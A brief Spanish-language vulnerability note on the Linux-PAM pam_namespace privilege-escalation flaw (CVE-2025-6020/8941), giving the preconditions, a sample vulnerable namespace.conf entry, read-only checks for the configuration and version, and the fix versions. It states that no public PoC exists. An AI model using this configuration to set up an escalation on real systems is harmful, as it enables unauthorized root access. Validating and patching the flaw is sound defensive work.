Requisitos: pam_namespace habilitado y una entrada de /etc/security/namespace.conf que polyinstancie una ruta escribible o influenciable por el usuario. No es un LPE universal en la configuración predeterminada.
PoC: El advisory público de ANSSI describe el escenario vulnerable, pero indica que el PoC de LPE se entregó privadamente a los mantenedores y no publica su código. La configuración mínima documentada para validar la superficie es:
$HOME $HOME/$USER.inst/ user rootDespués de habilitar pam_namespace.so para el servicio PAM del laboratorio, comprobar la configuración y la versión:
grep -R 'pam_namespace\.so' /etc/pam.d
grep -Ev '^\s*(#|$)' /etc/security/namespace.conf
pam_namespace_helper --help 2>&1 | head -1No hay un oneliner oficial para la carrera. La fuente correcta es el aviso de ANSSI; CVE-2025-6020 se corrigió inicialmente en Linux-PAM 1.7.1 y CVE-2025-8941 completa ese arreglo.
Referencias: Advisory inicial de ANSSI · Autor: Olivier Bal-Petre, ANSSI · Divulgación inicial: 17 de junio de 2025; corrección complementaria CVE-2025-8941: agosto de 2025.